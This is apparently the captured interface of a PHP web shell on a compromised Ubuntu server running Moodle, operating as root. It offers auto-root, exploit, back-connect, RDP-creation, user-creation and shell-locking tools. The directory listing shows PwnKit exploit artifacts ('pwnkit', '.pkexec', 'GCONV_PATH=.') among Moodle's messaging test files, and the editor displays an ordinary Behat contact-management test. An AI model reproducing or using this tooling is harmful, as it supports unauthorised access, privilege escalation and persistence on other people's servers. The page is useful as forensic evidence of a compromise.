Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
message /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_message.php
11.92
KB
-rwxrwxrwx
block_user.feature
2.87
KB
-rwxrwxrwx
capability_message_any_user.fe...
1.92
KB
-rwxrwxrwx
delete_messages.feature
13.52
KB
-rwxrwxrwx
favourite_conversations.featur...
4.59
KB
-rwxrwxrwx
group_conversation.feature
5.16
KB
-rwxrwxrwx
message_admin_settings.feature
1.57
KB
-rwxrwxrwx
message_delete_conversation.fe...
6.42
KB
-rwxrwxrwx
message_drawer_manage_contacts...
3.97
KB
-rwxrwxrwx
message_manage_notification_pr...
3.66
KB
-rwxrwxrwx
message_manage_preferences.fea...
5.46
KB
-rwxrwxrwx
message_preferences.feature
1.37
KB
-rwxrwxrwx
message_send_messages.feature
4.02
KB
-rwxrwxrwx
mute_conversations.feature
4.71
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
self_conversation.feature
3.06
KB
-rwxrwxrwx
unread_messages.feature
4.55
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : message_drawer_manage_contacts.feature
@core @core_message @javascript Feature: Manage contacts In order to communicate with fellow users As a user I need to be able to add, decline and remove users Background: Given the following "users" exist: | username | firstname | lastname | email | | student1 | Student | 1 | student1@example.com | | student2 | Student | 2 | student2@example.com | | student3 | Student | 3 | student3@example.com | | student4 | Student | 4 | student4@example.com | And the following "courses" exist: | fullname | shortname | | course1 | C1 | And the following "course enrolments" exist: | user | course | role | | student1 | C1 | student | | student2 | C1 | student | | student3 | C1 | student | | student4 | C1 | student | And the following "message contacts" exist: | user | contact | | student1 | student2 | And the following config values are set as admin: | messaging | 1 | | messagingallusers | 1 | | messagingminpoll | 1 | Scenario: Send a 'contact request' to someone to add a contact Given I log in as "student1" Then I open messaging And I select "Student 4" user in messaging And I open contact menu And I click on "Add to contacts" "link" And I click on "Add" "button" And I log out And I log in as "student3" And I select "Student 4" user in messaging And I open contact menu And I click on "Add to contacts" "link" And I click on "Add" "button" And I should see "Contact request sent" And I log out And I log in as "student4" Then I should see "2" in the "//div[@data-region='popover-region-messages']//*[@data-region='count-container']" "xpath_element" And I open messaging And I click on "Contacts" "link" Then I should see "2" in the "//div[@data-region='view-contacts']//*[@data-region='contact-request-count']" "xpath_element" And I click on "Requests" "link_or_button" And I click on "Student 1 Would like to contact you" "link" Then I should see "Accept and add to contacts" And I click on "Accept and add to contacts" "link_or_button" And I should not see "Accept and add to contacts" And I log out And I log in as "student1" And I open messaging And I click on "Contacts" "link" And I should see "Student 4" in the "//*[@data-section='contacts']" "xpath_element" Scenario: Decline a 'contact request' from someone Given I log in as "student1" Then I open messaging And I select "Student 3" user in messaging And I open contact menu And I click on "Add to contacts" "link" And I click on "Add" "button" And I should see "Contact request sent" And I log out And I log in as "student3" Then I should see "1" in the "//div[@data-region='popover-region-messages']//*[@data-region='count-container']" "xpath_element" And I open messaging And I click on "Contacts" "link" Then I should see "1" in the "//div[@data-region='view-contacts']//*[@data-region='contact-request-count']" "xpath_element" And I click on "Requests" "link_or_button" And I click on "Student 1 Would like to contact you" "link" Then I should see "Accept and add to contacts" And I click on "Decline" "link_or_button" And I should not see "Accept and add to contacts" And I open contact menu Then I should see "Add to contacts" in the "//div[@data-region='header-container']" "xpath_element" Scenario: Remove existing contact Given I log in as "student1" Then I open messaging And I click on "Contacts" "link" And I click on "Student 2" "link" in the "//*[@data-section='contacts']" "xpath_element" And I open contact menu And I click on "Remove from contacts" "link" And I click on "Remove" "button" And I go back in "view-conversation" message drawer And I should see "No contacts" in the "//*[@data-region='empty-message-container']" "xpath_element"
Close